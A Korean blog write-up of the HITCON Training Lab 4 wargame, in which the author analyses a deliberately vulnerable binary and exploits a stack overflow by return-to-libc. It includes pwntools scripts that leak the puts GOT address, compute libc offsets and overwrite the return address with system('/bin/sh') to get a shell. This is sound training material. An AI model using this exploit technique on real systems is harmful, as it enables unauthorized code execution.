tmxklab

hitcon training [LAB 4] 본문

War Game/hitcon training

hitcon training [LAB 4]

tmxk4221 2020. 7. 19. 18:05

1. 문제

1) mitigation확인

 

2) 문제 확인

음,,,, segmenatation fault가 뜬 것을 보니 잘못된 주소를 참조한 것 같다.

 

3) 코드흐름 파악

3-1) main함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char **v3; // ST04_4
  int v4; // ST08_4
  char src; // [esp+12h] [ebp-10Eh]
  char buf; // [esp+112h] [ebp-Eh]
  _DWORD *v8; // [esp+11Ch] [ebp-4h]

  puts("###############################");
  puts("Do you know return to library ?");
  puts("###############################");
  puts("What do you want to see in memory?");
  printf("Give me an address (in dec) :");
  fflush(stdout);
  read(0, &buf, 10u);
  v8 = (_DWORD *)strtol(&buf, v3, v4);
  See_something(v8);
  printf("Leave some message for me :");
  fflush(stdout);
  read(0, &src, 0x100u);
  Print_message(&src);
  puts("Thanks you ~");
  return 0;
}
  • buf에 10bytes입력을 받아 strtol함수의 인자로 들어감

  • strtol(const char *nptr, char **endptr, int base)

    • string to long을 뜻하며 특정 진법으로 표기된 문자열을 정수로 변환

    • nptr : 문자열 포인터

    • endptr : 변환이 멈춰진 문자열 포인터

    • base 변환될 진법(2, 8, 10, 16진수 선택)

    • retrun값 : 성공 시 정수 값(long), 실패시 0L

  • strtol함수의 리턴 값을 See_something의 인자로 들어감

  • src변수에 0x100만큼 입력 값을 받고 Print_message의 인자로 들어감

 

3-2) See_something함수

int __cdecl See_something(_DWORD *a1)
{
  return printf("The content of the address : %p\n", *a1);
}
  • leak하기 위해 사용될 것 같음

 

3-3) Print_message함수

int __cdecl Print_message(char *src)
{
  char dest; // [esp+10h] [ebp-38h]

  strcpy(&dest, src);
  return printf("Your message is : %s", &dest);
}
  • main에서 src변수를 입력 값으로 0x100만큼 받은 거를 dest로 옮김

  • dest변수는 [ebp-0x38]에 위치하므로 bof발생

 


2. 접근 방법

1) strtol함수 디버깅

  • 입력 값에 "9999"을 넣었을 때 strtol에 들어가는 인자는 **buf[esp+0x112]**만 존재

  • strtol리턴 값이 eax에 저장되었으며 0x270f는 9999(십진수)를 16진수로 변환한 값

 

2) Print_message함수 디버깅

src에 더미 값 60bytes넣은 경우

  • ebp에 0x41414141이 저장됨 → ret 건들 수 있음

그럼 print_message함수를 통해 rtl을 수행하기 위해 system함수와 /bin/sh를 찾아보자

 

3) system함수 & /bin/sh

elf파일에는 system함수를 찾을 수 없다.

하지만, 프로그램을 실행시키면

dynamically linking이므로 /lib/i386-linux-gnu/libc-2.23.so라이브러리에 존재하는 system함수의 offset을 구할 수 있다.("/bin/sh"도 똑같음)

 

따라서, See_something함수를 통해 원하는 함수의 got를 넣으면 해당 함수의 실제 주소 값을 leak할 수 있으므로 libc.base_address를 구할 수 있다.

 

참고 : libc.base_address = leak - libc.symbols['??']


3. 풀이

1) leak할 함수

처음 read함수가 호출되기까지 puts(), printf(), fflush()가 사용되었으므로 이 셋 중에 아무거나 선택한다.(여기서는 puts()선택)

 

leak 코드

from pwn import *

context.log_level="debug"

p = process("./ret2lib")
e = ELF("./ret2lib")

puts_got = e.got['puts']
print("puts_got : "+hex(puts_got))

p.sendafter(":", str(puts_got))

p.interactive()

 

실행 결과

  • 실제 puts()의 주소 값이 출력된다.

이제 rtl을 위한 준비는 끝났다.

 

2) 익스 코드

from pwn import *

#context.log_level="debug"

p = process("./ret2lib")
#gdb.attach(p)
e = ELF("./ret2lib")
libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")

system_offset = libc.symbols['system']

puts_got = e.got['puts']
puts_offset = libc.symbols['puts']
binsh_offset = libc.search("/bin/sh").next()

print("[*] puts_got : "+hex(puts_got))
print("[*] puts_libc : "+hex(puts_offset))
print("[*] binsh_libc : "+hex(binsh_offset))

p.sendafter(":",str(puts_got))

puts_addr = int(p.recvuntil("\n")[-11:], 16)
print("[*] puts_addr : "+hex(puts_addr))

base_addr = puts_addr - puts_offset
system_addr = system_offset + base_addr
binsh = binsh_offset + base_addr

payload = "A"*60
payload += p32(system_addr) + "A"*4 + p32(binsh)

p.sendafter(":", payload)

p.interactive()

 

3) 실행 결과

'War Game > hitcon training' 카테고리의 다른 글

hitcon training [LAB 6]  (0) 2020.07.19
hitcon training [LAB 5]  (0) 2020.07.19
hitcon training [LAB 3]  (0) 2020.07.19
hitcon training [LAB 2]  (0) 2020.07.19
hitcon training [LAB 1]  (0) 2020.07.19
Comments